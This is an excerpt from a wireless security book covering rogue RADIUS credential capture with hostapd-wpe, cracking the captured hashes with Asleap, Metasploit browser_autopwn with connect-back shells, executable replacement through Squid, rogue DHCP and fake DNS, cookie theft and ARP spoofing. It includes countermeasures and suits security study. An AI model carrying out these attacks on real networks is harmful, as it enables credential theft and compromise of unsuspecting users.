We	hope	our	target	network	has	been	misconfigured.	Don’t	fret:	we	do	have	a	bit	of
network-administrator	ignorance	that	works	in	our	favor.

A	surprisingly	common	practice	in	the	configuration	of	PEAP	and	EAP-TTLS	is	to
skip	the	certificate	validation	on	the	client.	When	a	client	is	configured	in	this	way,	the
client	is	vulnerable	to	AP	impersonation	attacks	and,	potentially,	man-in-the-middle
attacks.

Imagine	we’re	targeting	a	PEAP	or	EAP-TTLS	network.	We	configure	our	access
point	with	the	same	SSID	and	provide	a	better	signal	to	the	client	than	the	legitimate
access	point	serving	the	network.	This	attracts	the	client	to	the	attacker	network.	As	the
client	connects	to	us,	we	pass	its	EAP	messages	to	our	RADIUS	server,	terminate	the	TLS
tunnel,	and	accept	the	client’s	inner	authentication	protocol.	At	this	point,	we’ve	defeated
the	TLS	tunnel—sound	complex?	It’s	not!

Recent	versions	of	hostapd	(the	software	that	manages	creating	an	AP	out	of	a	normal
802.11	card)	include	a	self-contained	RADIUS	server,	greatly	simplifying	the	process	of
impersonating	a	legitimate	WPA	Enterprise	deployment.	The	logical	motivation	for	this	is
so	the	APs	can	perform	some	level	of	EAP-based	authentication	without	needing	an
external	RADIUS	server.	A	side	benefit	is	that	hackers	like	ourselves	also	no	longer	need
to	set	up	a	full	RADIUS	server	either.

Hostapd	Wireless	Pwnage	Edition:	hostapd-wpe	A	few	years	back	Joshua	Wright	and
Brad	Antoniewicz	developed	a	modified	version	of	the	open	source	RADIUS	server
FreeRADIUS.	Their	version,	FreeRADIUS-WPE	(Wireless	Pwnage	Edition),	was
optimized	to	accept	any	credentials	that	users	would	provide,	while	logging	them	in
plaintext	for	the	attacker	to	reuse.	Recently,	these	patches	and	techniques	have	been
moved	into	the	hostapd	RADIUS	implementation,	and	the	successor	to	this	project	is



named	hostapd-wpe.

	

Hostapd-wpe	offers	many	attack	features	not	specifically	related	to	WPA,	such	as	a	client-
side	version	of	the	OpenSSL	Heartbleed	attack,	as	well	as	the	latest	iteration	of	the
“Karma”	rogue-AP	technique.	These	features	are	covered	in	the	next	chapter.

Installing	hostapd-wpe	is	a	straightforward	process.

1.	First,	install	any	prerequisites	that	may	be	missing	on	your	Linux	host:
$	sudo	apt-get	install	libssl-dev	libnl-dev

2.	Next,	download	the	source	code	for	hostapd	and	the	hostapd-wpe	patch.	Check	the
Hostapd	and	Hostapd-wpe	websites	for	current	version	information:

3.	Now,	apply	the	hostapd-wpe	patch	and	proceed	to	build	it:

4.	Finally,	run	a	script	included	in	hostapd-wpe	to	generate	some	self-signed	certificates
automatically.	Readers	interested	in	customizing	the	certificates	should	look	into	the
certs	directory	referenced	here	and	edit	the	files	ending	with	the	extension	.cnf.



Running	a	Malicious	RADIUS	Server
In	the	following	section	we	illustrate	an	attack	where	two	clients	that	have	been
configured	to	connect	to	a	WPA2	Enterprise	network	with	PEAP	and	MS-CHAPv2
authentication	are	exposed	to	a	malicious	RADIUS	server.	In	this	example,	we	will
impersonate	the	fictitious	Foray	Solutions	corporate	network.

Our	goal	is	to	identify	the	behavior	(and	possible	alerts	that	the	end-user	may
recognize)	when	the	following	situations	are	encountered:

•		What	happens	when	a	network	with	the	same	SSID	advertises	WPA1
Enterprise	authentication	but	the	client	previously	used	WPA2?

•		What	happens	when	the	certificate	used	to	establish	the	outer	TLS	tunnel
can’t	be	verified	against	a	trusted	certificate	authority?

•		If	the	RADIUS	server	sends	back	an	authentication	successful	message,	does
the	client	proceed	to	authenticate	the	server,	or	does	it	blindly	go	ahead	and
associate?

For	posterity’s	sake,	the	certificate	that	the	clients	should	trust	is	presented	here.

Before	we	can	start	hostapd-wpe,	we	need	to	modify	the	configuration	file	hostapd-
wpe.conf.	Since	we	are	running	on	a	wireless	interface,	we	set	the	interface	to	wlan0	and
disable	the	driver	line.	We	also	enable	all	of	the	802.11	options	slightly	further	down	the
file.	Finally,	we	switch	over	the	WPA	version	to	2.	When	our	changes	are	complete,	the
file	should	look	like	this	(changes	in	bold).



With	those	changes	applied,	we	can	start	the	server:

Attaching	a	Windows	8.1	Client	to	the	Rogue	AP
With	our	AP	up	and	running,	we	can	investigate	how	the	most	recent	version	of	Windows
responds	to	our	network.	Remember	that,	in	this	case,	the	client	has	previously	been
configured	to	connect	to	ForayCorporateNetwork	and	we	want	to	see	how	it	will	behave
when	the	rogue	network	with	the	same	SSID	becomes	available.

The	first	thing	that	Windows	will	do	is	compare	the	advertised	version	of	WPA
Enterprise	authentication.	If	we	set	up	the	AP	correctly	(wpa=2	in	the	config	file),	this
check	passes	without	notifying	the	user.	If	we	configure	our	rogue	AP	incorrectly,	the	user
will	see	the	following	warning.



Once	Windows	performs	the	comparison	of	the	version	of	WPA	authentication	being
offered,	the	next	step	is	to	validate	the	certificate	of	the	remote	side	of	the	TLS	tunnel.
With	the	default	Windows	8.1	settings,	if	certificate	validation	fails,	the	user	will	not	be
allowed	to	connect	and	will	be	asked	if	he	would	like	to	forget	the	network	entirely,	as
shown	here.

This	is	disadvantageous	for	an	attacker	because	Windows	hasn’t	sent	us	the	cached
authentication	credentials	yet.	Luckily,	this	behavior	is	configurable	by	the	administrator.
It	is	still	fairly	common	to	deploy	PEAP	without	validating	server	certificates.

Once	the	outer	PEAP	tunnel	has	been	established,	Windows	will	perform	an	MS-
CHAPv2	exchange	with	our	server.	This	is	the	key	piece	in	the	puzzle,	which	allows	us	to
perform	a	dictionary	attack	against	the	credentials	later.	When	the	Windows	user	connects,
the	hostapd-wpe	window	will	display	something	similar	to	the	following:

Which	is	great	news!	We	can	take	these	values	and	attempt	to	brute-force	them	offline.
But	in	the	immediate	future,	the	client	is	expecting	us	to	authenticate	ourselves.	Which	is
somewhat	less	than	great	news,	because	without	the	user’s	password	(which	we	don’t
quite	have	yet),	we	can’t	authenticate	ourselves.	Which	is	why	immediately	following	the
user’s	credentials,	we	see	the	following	output	in	the	log	file:



This	is	the	Windows	box	disconnecting	due	to	the	lack	of	mutual	authentication.	Right
about	now	the	user	is	wondering	what	went	wrong	and	is	looking	at	the	same	“Can’t
connect	to	this	network”	dialog	box	shown	previously.

	

If	you	inadvertently	coax	a	Windows	8/8.1	client	to	join	your	WPA1	Enterprise	network
(when	it	expected	WPA2)	and	you	then	fail	to	authenticate	yourself	with	the	inner
authentication	method,	Windows	will	interpret	this	as	an	attack	and	forcibly	remove	the
network’s	wireless	profile.	This	is	sure	to	get	the	user	and	her	administrator’s	attention.
When	you	are	working	with	hostapd-wpe,	be	sure	to	set	the	version	of	wpa	to	2	in	the
configuration	file	when	impersonating	WPA2	networks.

Although	it’s	unfortunate	that	we	couldn’t	get	the	Windows	box	to	join	our	network,
we	did	get	what	we	came	for:	the	user’s	credentials.	With	the	hashed	credentials,	we	can
use	Asleap	to	mount	an	offline	password-guessing	attack:

By	combining	this	with	the	username	in	the	hostapd-wpe	log	file,	we	can	use	the
following	credentials	to	join	the	network:	johnny_c	/	turn_down_for_what!?

Attaching	an	OS	X	10.9.4	Client	to	the	Rogue	AP
Now	that	we	have	seen	how	Windows	behaves	when	confronted	with	a	rogue	RADIUS
server,	let’s	compare	it	to	the	behavior	of	a	Mac	OS	X	client.

First,	let’s	see	what	happens	if	the	version	of	WPA	being	offered	isn’t	correct.	Similar
to	Windows,	the	user	receives	a	warning	notice.



This	is	much	more	specific	than	what	we	saw	in	Windows	8	and	8.1,	but	likely	less	useful
to	the	average	end-user.	What	happens	when	the	client	receives	a	previously	untrusted
certificate	for	the	TLS	tunnel?

That’s	a	pretty	confusing-looking	error	message	for	a	typical	wireless	end-user.	Just
imagine	how	many	people	would	click	Continue	if	the	certificate	actually	said	something
about	the	target	instead	of	“Sneaky	Petes	Shady	Server	Certificate.”

Assuming	the	user	clicks	through	the	warning,	she	will	be	prompted	for	a	username
and	password.	Just	as	in	Windows,	these	credentials	will	be	used	with	MS-CHAPv2	for
the	inner	authentication	method:

If	we	were	to	run	these	results	through	Asleap,	we	would	get	the	same	results	as	the
previous	example	(johnny_mac	/	turn_down_for_what!?).



Just	as	interesting	as	obtaining	the	user’s	credentials,	notice	that	it	appears	from	the
hostapd-wpe	log	that	the	client	didn’t	disconnect.	It	appears	that	modern	versions	of	OS	X
do	not	perform	the	mutual	authentication	with	the	internal	credentials.	Not	only	did	we	get
this	user’s	credentials,	we	are	now	very	well	suited	to	perform	a	variety	of	client-side
attacks,	one	of	which	will	hopefully	give	us	code	execution	on	the	user’s	machine.	Details
on	what	we	can	do	with	a	user	in	this	situation	are	given	in	the	next	chapter.

	Securing	PEAP	and	EAP/TTLS
The	key	to	preventing	these	sorts	of	attacks	against	PEAP	and	EAP-TTLS	is	to	ensure	that
your	clients	validate	certificates.	Client	devices	should	never	connect	to	a	target	network
when	the	certificate	validation	check	fails.

Many	people	wonder	why	connecting	to	failed	certificate	authentication	networks	is	an
option.	When	you	look	at	the	PEAP	configuration	properties	on	Windows	(shown	earlier),
why	is	it	even	possible	to	set	up	clients	that	don’t	perform	validation?	The	answer,	as	with
many	security	issues,	comes	down	to	money	or	time.

For	clients	to	validate	certificates,	either	they	need	to	have	the	root	certificate	for	the
local	organization’s	CA	installed	(which	can	be	cumbersome	to	do)	or	the	network	needs	a
certificate	issued	by	a	well-known	CA	(which	costs	money).	Configuring	clients	not	to
verify	certificates	lets	administrators	avoid	buying	certificates	or	running	their	own
certificate	authority	just	for	wireless	access.

Summary
This	chapter	covered	several	known	attacks	against	WPA.	The	security	enhancements
offered	by	WPA	are	vastly	superior	to	its	predecessor	(WEP).	These	improvements	come
at	a	price,	which	is	the	complexity	involved	in	the	IEEE	802.11	protocol.	Fortunately,	the
complexity	is	hidden	from	end-users,	and	connecting	to	a	WPA-protected	network	on	any
modern	operating	system	is	as	easy	as	connecting	to	a	WEP-protected	network.	Behind
the	scenes,	however,	attackers	have	several	opportunities	to	manipulate	weaknesses	in	key
selection,	protocol	vulnerabilities,	and	configuration	flaws	in	wireless	clients	to	gain
unauthorized	access	to	networks.

Up	until	now	we	have	been	utilizing	attacks	that	target	the	wireless	network	itself.	In
the	next	chaper	we	will	see	how	we	can	go	directly	after	clients.



	





CHAPTER	5
	



ATTACKING	802.11	WIRELESS
CLIENTS

	





With	the	recent	increase	in	WPA	adoption,	attacking	802.11	networks	has	gotten	much	more
difficult.	Gone	are	the	days	when	nearly	every	802.11	network	could	be
cracked	with	little	more	than	packets	and	patience.	This	hardship	has	led	to	an

increased	interest	in	hacking	802.11	clients	instead.

Client-side	attacks	are	unique	in	that	they	often	take	place	at	many	levels	of	the
protocol	stack.	At	the	uppermost	level	are	application-level	exploits.	These	are	the
advisories	that	the	security	community	is	used	to	seeing:	bugs	in	Java,	Firefox,	and	so	on.
What	makes	client-side	attacks	interesting	to	a	wireless	hacker	is	not	so	much	the	bug-of-
the-day	that	is	used	to	gain	code	execution,	but	the	manipulation	of	the	protocol	layers
required	to	drive	traffic	toward	the	attacker.	These	opportunities	for	the	delivery	of
malicious	content	can	be	used	to	attack	the	victim	in	new	and	exciting	ways.

This	chapter	walks	you	through	the	anatomy	of	a	client-side	attack.	In	general,	the
goal	of	a	client-side	attack	is	to	direct	a	vulnerable	piece	of	software	toward	an	exploit
being	hosted	by	the	attacker.	The	goal	of	the	exploit	is	to	gain	remote	code	execution.	We
start	this	chapter	off	by	manually	directing	browsers	toward	the	Metasploit	Framework’s
automated	exploitation	server	(browser_autopwn).	Next,	we’ll	utilize	a	VM	developed	by
the	author	(I-love-my-neighbors)	to	redirect	clients	transparently.	Finally,	we’ll	apply
individual	techniques	used	in	the	I-love-my-neighbors	VM	inside	Kali	Linux,	as	well	as
other	direct	injection	techniques.

browser_autopwn:	A	Poor	Man’s	Exploit	Server
This	entire	chapter	is	dedicated	to	techniques	that	can	be	used	to	get	code	execution	on
victims	by	redirecting	them	to	client-side	exploits.	Before	we	look	at	the	myriad	of	ways
to	redirect	users	without	their	knowledge,	let’s	see	what	it	looks	like	when	we	point	a
browser	at	an	exploit	server	manually.	This	attack	takes	place	on	the	network	shown	in
Figure	5-1	and	summarized	in	Table	5-1.



Figure	5-1	The	layout	of	our	victim	network

Table	5-1	Network	Configuration	Summary

Application	Layer	Exploits

In	a	typical	client-side	attack,	the	attacker	gets	code	execution	from	an	application-
level	vulnerability.	Examples	of	these	types	of	vulnerabilities	include	CVE-2014-4114,	a
flaw	in	Microsoft	Office’s	OLE	object	parsing,	and	CVE-2014-4111,	a	memory	corruption
flaw	in	Internet	Explorer.	Rather	than	focus	on	a	specific	bug,	which	will	always	be	a
transient	condition,	this	section	explains	how	to	use	the	Metasploit	browser_autopwn



feature.

Using	Metasploit	browser_autopwn
The	Metasploit	browser_autopwn	feature	is	a	module	that	conveniently	automates
exploiting	many	client-side	bugs	included	in	the	Metasploit	tree.	First,	start	msfconsole
and	load	the	browser_autopwn	module.	Specify	the	server	port	number	(avoid	using
TCP/80	since	we’ll	use	that	port	for	a	different	attack	shortly)	and	an	innocuous	URL	for
exploit	delivery	such	as	/ads	as	shown	here:

Finally,	specify	the	attacker’s	accessible	IP	address	as	the	location	where	we’ll	direct	our
connect-back	shells:
msf	auxiliary(browser_autopwn)	set	LHOST	10.0.1.9

Now	let’s	fire	up	browser_autopwn:

As	you	can	see	from	the	output,	this	version	of	Metasploit	loaded	16	unique	client-side
exploits.	If	a	victim	can	somehow	be	directed	to	http://10.0.1.9:55550/ads,	then	the
browser_autopwn	module	will	detect	the	client	browser	type	and	version	(using	JavaScript
and	User-Agent	parsing)	and	deliver	a	matching	exploit.

http://10.0.1.9:55550/ads


browser_autopwn	Against	OS	X
In	the	following	example,	a	vulnerable	Java	runtime	on	OS	X	is	used	with	Firefox	to
browse	to	the	browser_autopwn	previous	URL.	Assuming	a	user	clicks	through	all	of	the
warnings	about	running	out-of-date	Java	(and	there	are	a	lot	of	them,	one	of	which	is
shown	here),	you	should	see	the	following	output	on	your	msfconsole	window.

If	exploitation	is	successful,	you’ll	get	a	new	session,	which	you	can	see	in	the	following
list:

You	can	interact	with	session	1	by	using	sessions	-i:



	

You	can	find	a	bonus	chapter	online	that	shows	you	how	to	use	remote	access	on	a	Mac	to

hack	other	nearby	networks	at	http://www.hackingexposedwireless.com.	

browser_autopwn	Against	Windows	8
Similarly,	if	we	launch	the	same	exploit	against	Windows,	we	get	the	following	results:

which,	if	it	worked,	provides	you	with	another	shell	in	session	2:

Of	course,	for	browser_autopwn	to	work,	we	must	have	a	vulnerable	Windows	box
and	a	working	exploit,	both	of	which	can	be	hard	to	find.	As	an	alternative	attack
technique,	we	can	create	imposter	wireless	networks	to	lure	victims	into	a	network	where
we	can	manipulate	network	activity,	as	you’ll	see	next.

Getting	Started	with	I-love-my-neighbors
The	first	technique	we	cover	involves	creating	our	own	rogue	AP	and	manipulating	users
to	join.	Once	they	associate,	we	can	easily	inject	traffic	to	their	browser.	Although	all	of
these	steps	can	be	accomplished	on	a	standard	Linux	distribution,	Joshua	Wright	has
created	a	small	virtual	machine	that	automates	a	lot	of	the	drudgery	associated	with	the
necessary	setup	called	I-love-my-neighbors.	Readers	can	download	the	I-love-my-

http://www.hackingexposedwireless.com


neighbors	virtual	machine	from	http://neighbor.willhackforsushi.com.

	

Joshua	Wright	created	this	VM	in	response	to	neighbors	who	were	stealing	Wi-Fi	from	his
unsecured	test	network.

Once	you	have	downloaded	and	started	the	VM,	you	can	log	in	with	the	username
root	and	the	password	sec617.	You’ll	be	greeted	with	the	following	helpful	message:

Sounds	easy	enough.	Let’s	follow	the	directions,	connect	a	USB	card,	ensure	we	have
upstream	connectivity	on	eth0,	and	see	if	we	can	redirect	some	traffic.

Well,	that	was	easy;	let’s	see	if	it	worked.	Connect	a	client	to	the	default	SSID	(victor-
timko)	and	start	browsing.	If	everything	is	working,	you	should	see	something	like	the
following.

http://neighbor.willhackforsushi.com


Wait	a	second!	That	cat	is	upside	down.	And	so	is	the	Wired	logo.	Let’s	dig	in	and	see
exactly	how	neighbor.sh	accomplished	this	feat.

Creating	the	AP
The	neighbor.sh	script	creates	an	access	point	with	the	USB	wireless	card	provided	by	the
user.	It	takes	the	interface	specified	on	the	command	line	(wlan0),	merges	it	with	a
template,	and	creates	a	configuration	file	similar	to	the	following:

When	neighbor.sh	creates	the	AP,	it	simply	executes	hostapd
/etc/hostapd/hostapd.conf.

Assigning	an	IP	Address
After	a	client	associates	with	our	network,	the	first	thing	it	will	do	is	try	to	get	an	IP



address.	On	most	networks,	IP	addresses	are	handed	out	using	Dynamic	Host
Configuration	Protocol	(DHCP).	The	I-love-my-neighbors	VM	includes	a	template
configuration	file	for	the	isc-dhcp-server,	illustrated	here:

Key	values	are	shown	in	bold.	Note	that	when	a	client	requests	an	address	using	DHCP,
the	DHCP	server	gets	to	pick	the	client’s	default	route	(us)	and	DNS	server	(Google).

Setting	Up	the	Routes
When	most	people	think	of	routing,	they	think	of	expensive	rack-mounted	gear	from
Cisco	or	Juniper.	In	fact,	any	computer	with	two	or	more	network	interfaces	can	perform
routing.	In	our	case,	the	VM	will	take	inbound	traffic	from	wlan0	(10.0.0.1)	and	send	it
out	to	the	Internet	on	eth0.

We	can	accomplish	this	on	Linux	with	only	two	commands.	The	first	sets	wlan0’s
address;	the	second	enables	IP	forwarding	(which	is	just	another	way	to	say	“enable
routing”).

We	can	examine	the	routing	table	using	netstat.	Here,	you	can	see	that	the	box’s
wireless	interface	(wlan0)	is	on	10.0.0/24,	whereas	its	ethernet	interface	(eth0)	is	on	the
10.0.1/24	subnet.	The	default	route	is	set	to	10.0.1.1,	which	is	the	upstream	router	on	eth0
providing	Internet	access.	(If	the	addressing	scheme	confuses	you,	just	try	to	remember
this:	the	more	1s	in	the	address,	the	farther	upstream	you	are.)

Redirecting	HTTP	Traffic



With	an	understanding	of	how	our	routing	table	looks,	we	can	now	consider	what	has	to
happen	in	order	for	us	to	(easily)	modify	the	client’s	HTTP	traffic.	Consider	what	happens
when	a	user	visits	wired.com.	First,	he	resolves	wired.com	using	the	DNS	server	we
provided.	Then,	he	establishes	a	TCP	connection	to	port	80	of	that	IP	address,	after	which
he	sends	an	HTTP	GET	request.

Although	we	can	easily	see	the	user	sending	his	GET	request	through	our	wireless
interface	(10.0.0.1),	the	traffic	is	not	destined	for	us.	We	could	attempt	to	craft	a	TCP
packet	and	inject	it	back	toward	the	client,	hoping	to	beat	the	real	server	with	a	response,
but	let’s	save	that	for	later.	Instead,	we’ll	manipulate	traffic	as	it	transits	the	routing	device
using	iptables.

The	first	thing	we	want	to	do	is	clean	up	our	firewall	rules	in	case	we	have	any
modifications	left	over	from	previous	runs.	The	first	three	commands	just	get	our	firewall
back	into	its	normal	starting	condition,	and	the	last	one	ensures	that	any	packets	that	come
in	from	wlan0	will	make	it	past	the	firewall:

With	the	kernel	initialized	to	its	useful	default	values,	we	only	need	one	rule	to	redirect
our	client’s	traffic.	The	following	rule	takes	all	TCP	traffic	that	comes	in	from	wlan0
bound	for	TCP	port	80	(to	any	IP	address)	and	redirects	it	to	port	3128	of	the	local
machine.

At	this	point,	we	need	to	add	a	second	rule	that	causes	all	traffic	that	goes	out	from
eth0	interface	to	be	NATed.	(Technically,	we	can	get	by	without	this	rule,	but	by	enabling
it,	traffic	passing	through	us	to	the	outside	will	look	more	consistent—all	of	the	traffic	we
forward	will	have	our	IP	address,	not	just	the	HTTP	traffic	we	are	proxying.)

In	summary,	as	result	of	these	two	rules,	traffic	that	comes	in	from	wlan0	will
transparently	get	redirected	to	10.0.0.1:3128.	And	all	the	traffic	that	leaves	eth0	will	have
a	source	IP	of	10.0.1.1.

Astute	readers	may	notice	a	flaw	in	this	plan:	the	client	is	redirected	to	our	port	3128,
but	we	have	nothing	listening	that	will	respond.

Serving	HTTP	Content	with	Squid
The	last	thing	we	need	to	do	is	put	something	in	place	that	will	respond	to	the	user’s
HTTP	GET	request	with	something	that	he	would	like;	for	example,	the	web	page	he
originally	requested.	This	is	the	job	of	a	proxy,	so	let’s	use	the	most	popular	one	in	the
world:	Squid.

http://wired.com
http://wired.com


The	I-love-my-neighbors	VM	comes	with	Squid	preinstalled	and	configured	to	listen
on	the	default	port	of	TCP/3128.	To	start	Squid	(and	get	it	to	run	the	appropriate	service),
neighbor.sh	simply	does	the	following,	which	causes	Squid	to	execute	the	correct	script:

Once	Squid	is	up	and	running,	the	path	through	our	network	is	complete.	Squid	will
handle	the	user’s	web	traffic,	which	allows	us	to	manipulate	that	traffic.	Legitimate	uses
include	caching	content	locally	to	minimize	bandwidth,	as	well	as	performing	antivirus
scans	on	content	users	download.

Illegitimate	uses	(which	we	are	much	more	interested	in)	include	flipping	all	the
images	a	user	requests	upside-down	(flipImages.pl).	Or,	if	we	are	feeling	a	little	more
malicious,	replacing	any	executable	file	the	user	downloads	with	our	own
(replaceExes.pl).	Readers	curious	about	how	these	scripts	work	can	find	them	all	in	the
/opt/squid/sbin	directory.

	

Rather	than	specify	a	static	SSID,	you	can	dynamically	respond	to	Probe	Requests
transmitted	by	clients!	To	do	this,	you	need	to	run	hostapd-wpe	(rather	than	the	stock
hostapd)	and	pass	it	-k	for	KARMA	mode.

Now	that	you’ve	seen	all	the	steps	required	to	transparently	modify	content	that	is
going	through	our	own	network,	we	are	going	to	learn	how	to	apply	these	techniques
while	attached	to	someone	else’s	network.

Attacking	Clients	While	Attached	to	an	AP
Many	of	the	techniques	just	utilized	(setting	up	the	DHCP	server,	transparently	proxying
users	with	iptables,	and	so	on)	can	be	performed	on	networks	that	you	join	as	a	client
versus	networks	provided	as	an	AP.	In	these	cases,	you	will	be	in	contention	with	the
legitimate	provider	of	the	service	you	are	abusing.	Performing	these	types	of	attacks	may
result	in	a	denial	of	service	condition	against	your	target.

In	this	section,	we’ll	be	using	the	wlan0	interface	of	our	Ubuntu-based	attack	system
to	attach	to	the	network	all	your	base	using	the	WPA	key	we	cracked	in	Chapter	4.

Associating	to	the	Network
First,	we	have	to	associate	our	wireless	card	to	the	target	network.	We	can	use	the
graphical	NetworkManager	utility	to	connect,	or	we	can	configure	the	interface	from	the
command	line.	Let’s	kill	all	the	processes	that	might	interfere	with	the	connection	process,
including	NetworkManager,	dhclient,	and	wpa_supplicant:
$	sudo	killall	NetworkManager	wpa_supplicant	dhclient



Next,	we	create	a	small	configuration	file	to	use	with	wpa_supplicant	to	connect	to	the
compromised	network.	It	should	contain	the	following	settings	at	a	minimum:

Next,	let’s	fire	up	wpa_supplicant	to	associate	and	authenticate	our	wireless	card:

A	normal	client	would	get	a	lease	using	a	DHCP	client	at	this	point.	Although
convenient,	this	leaves	an	entry	in	the	log	file	on	the	DHCP	server	advertising	the
attacker’s	presence.	Let’s	set	our	IP	address	and	default	route	manually	and	verify	Internet
connectivity	by	pinging	a	public	DNS	server:

Rogue	DHCP	Server

One	of	the	best	things	about	trying	to	hack	clients	when	you	are	on	the	same	LAN	as	them
is	that	you	can	set	up	your	own	DHCP	server.	Although	everyone	knows	DHCP	hands	out
IP	addresses,	not	everyone	realizes	it	also	pushes	down	the	default	router	and	DNS
servers.	Conveniently	for	us,	it	is	also	completely	unauthenticated;	this	means	if	you	set
up	a	DHCP	server	alongside	the	legitimate	DHCP	server,	the	client	will	usually	just	go
with	the	response	that	he	receives	first.

In	this	section,	we	set	up	the	same	ISC	DHCP	server	on	Kali	that	we	utilized	on	the	I-
heart-my-neighbors	VM.	But	first,	we	have	to	install	it:



You	need	to	know	four	critical	pieces	of	information	about	a	network	before	you	can
set	up	your	rogue	DHCP	server:

•		The	subnet	You	want	to	choose	the	subnet	to	match	your	victim’s.	This	way,
any	new	clients	you	provision	via	DHCP	will	be	able	to	communicate	with	the
already	configured	ones.

•		The	gateway	Do	you	want	to	be	responsible	for	routing	all	of	the	user’s
traffic?	This	has	the	obvious	upside	that	you	will	get	to	see	all	of	the	traffic,	and	it
allows	you	to	perform	the	same	sort	of	iptables-based	transparent	proxying
illustrated	previously.	The	downside	is	that	if	you	have	to	disconnect	from	the
network	in	a	hurry	(for	example,	your	battery	dies	or	a	security	guard	chases	you
off),	all	of	the	clients	you	configured	will	be	temporarily	knocked	offline.

•		The	domain	servers	You’ll	configure	the	primary	DNS	server	to	point	to
your	attack	system	so	you	can	modify	the	responses,	but	you	should	also	include	a
valid	secondary	server.	This	way,	the	client	can	still	communicate	with	the	Internet
if	you	have	to	hop	off	her	network	in	a	hurry.

•		The	IP	address	range	This	is	the	set	of	IP	addresses	you	will	be	handing	out.
Ideally,	these	should	be	on	the	same	subnet	that	you	attached	to,	but	in	a
continuous	range	that	is	currently	not	in	use.	For	example,	many	home	networks
assign	IP	addresses	in	the	.100–.200	range,	leaving	us	plenty	of	IP	address	space
to	allocate	in	the	.20–.50	range.

In	the	following	example,	we’re	on	the	10.0.1/24	subnet.	The	real	router	is	at	10.0.1.1,
and	we’re	directing	DNS	to	ourselves	at	10.0.1.9.

Create	your	config	file	as	appropriate	and	save	it	to	./dhcp_pwn.conf.	Once	complete,
open	a	fresh	terminal	and	start	your	DHCP	server	as	follows:



Now,	if	a	user	on	the	subnet	requests	a	DHCP	lease	(either	a	wireless	client	associates	or	a
wired	client	powers	up),	your	DHCP	server	will	be	in	a	race	with	the	legitimate	one.
Experience	has	shown	the	Linux	box	generally	wins	this	race.	This	result	may	be	due	to
the	relatively	low	power	on	most	SOHO	routers,	or	the	relatively	slow	roundtrip	time	for	a
corporate	DHCP	server	over	a	WAN	link.	Optimizing	the	DHCP	server	to	respond	quickly
may	be	a	valuable	investment	of	your	time	if	you	find	yourself	losing	this	race.

	Rogue	DHCP	Server	Countermeasures
Unfortunately	for	network	administrators,	DHCP/BOOTP	traffic	is	not	authenticated,
which	would	otherwise	prevent	this	type	of	attack.	The	only	real	countermeasure	is	to
monitor	for	rogue	DHCP	servers	and	react	quickly.	Intrepid	network	administrators	might
want	to	migrate	from	IPv4	to	IPv6,	where	DHCP	takes	a	significantly	less	important	role.

Running	a	Fake	DNS	Server	from	Metasploit

Now	that	the	DHCP	server	is	set	up,	we	can	start	an	evil	DNS	server.	You	have	many
options	to	choose	from,	but	the	easiest	to	use	is	the	fakedns	module	built	in	to	Metasploit.

The	following	commands	configure	the	fakedns	server	so	it	returns	the	correct	results
for	every	query	that	is	not	in	the	list	of	TARGETDOMAINS	(*.cacheheavyindustries.com
and	www.wired.com	in	this	case).

http://*.cacheheavyindustries.com
http://www.wired.com


All	we	need	to	do	now	is	wait	for	a	client	to	renew	a	DHCP	lease.	When	this	happens,
we’ll	see	something	like	the	following	in	our	DHCP	server	window:

Shortly	after	seeing	this,	we’ll	probably	see	some	DNS	queries,	such	as	the	following:

Looks	good	so	far,	but	what	happens	when	the	user	browses	to	www.wired.com?
Unfortunately,	not	a	lot.	While	DNS	requests	for	www.wired.com	are	being	redirected	to
the	attack	system	at	10.0.1.9	(which	is	good),	we	don’t	have	anything	listening	on	port	80
(which	is	bad).	One	option	is	to	deploy	Squid	on	port	80	(instead	of	3128).	However,
because	we	already	have	Metasploit	running,	we	can	take	advantage	of	the	http_capture
module.	Let’s	load	and	start	the	module	as	shown	next,	specifying	the	IP	address	of	the
attack	system:

	

If	you	have	started	a	new	session	of	msfconsole,	start	the	autopwn	module	as	shown
earlier	in	this	chapter	to	be	used	with	the	http_capture	module.

http://www.wired.com
http://www.wired.com


Now	when	a	user	browses	to	a	domain	in	the	target	list,	she	will	be	redirected	to	the
attacker	system.	The	http_capture	will	serve	the	victim	a	page	that	consists	of	the
following:

•		The	template	located	in	data/exploits/capture/http/index.html

•		An	iframe	that	points	to	the	AUTOPWN	module

•		A	series	of	iframes	of	the	form	http://www.someservice.com:80/forms.html

	

The	http_capture	module	has	many	advanced	features	for	stealing	users’	cookies,
customizing	banners,	and	so	on.	Check	out	the	options	and	the
data/exploits/capture/http/index.html	file	to	get	started.

The	current	template	is	a	rather	uninviting	white-on-black	“Loading…”	message,	as
shown	here.	You	can	change	this	by	either	editing	the	file	or	setting	the	TEMPLATE
option	to	something	else.	The	AUTOPWN	iframe	is	used	to	exploit	the	victim’s	browser,
and	the	series	of	iframes	that	follows	is	intended	to	bypass	the	HTTP	Same	Origin	Policy
(SOP)	and	gives	us	an	opportunity	to	steal	as	many	cookies	from	the	victim’s	browser	as
possible.

http://data/exploits/capture/http/index.html
http://www.someservice.com:80/forms.html
http://data/exploits/capture/http/index.html


	Rogue	DNS	Server	Countermeasure
The	most	practical	way	to	avoid	this	attack	is	to	set	your	DNS	server	statically.	Although
this	technique	won’t	necessarily	stop	an	attacker,	it	may	slow	her	down.	She	will	have	to
realize	that	your	DNS	requests	are	going	to	a	fixed	server	and	adjust	her	network	setup
accordingly.	The	nice	thing	about	static	DNS	servers	is	that	unlike	static	ARP	settings
(which	are	largely	unfeasible),	static	DNS	server	settings	don’t	usually	cause	much
trouble.

ARP	Spoofing
Another	technique	for	getting	between	traffic	and	its	destination	is	ARP	spoofing.	Address
Resolution	Protocol	(ARP)	is	the	protocol	used	to	map	IPv4	addresses	to	MAC	addresses
on	the	local	subnet.	The	earlier	host	and	IP	mapping	is	re-created	in	Table	5-2.

Table	5-2	Victim	and	Attacker	Address	Mapping

Imagine	the	Windows	laptop	wakes	up	from	sleep,	has	an	empty	ARP	table,	and	needs
to	communicate	with	the	Internet.	It	knows	that	its	default	gateway	is	at	10.0.1.1,	but	it
doesn’t	know	its	MAC	address.	(ARP	table	entries	only	stick	around	for	a	minute	or	two.)
The	first	thing	the	Windows	laptop	will	do	is	transmit	a	packet	of	the	form
ARP	who-has	10.0.1.1	tell	10.0.1.104

As	you	can	imagine,	at	this	point	the	router	would	then	respond	with
ARP	10.0.1.1	is-at	00:fe:ed:40:95:b6

We	can	actually	watch	this	entire	process	from	the	perspective	of	the	Windows	laptop.
If	we	examine	the	ARP	table	using	the	arp	-a	command	after	it	has	been	idle	for	a	while,
you	will	see	a	very	minimal	ARP	cache:



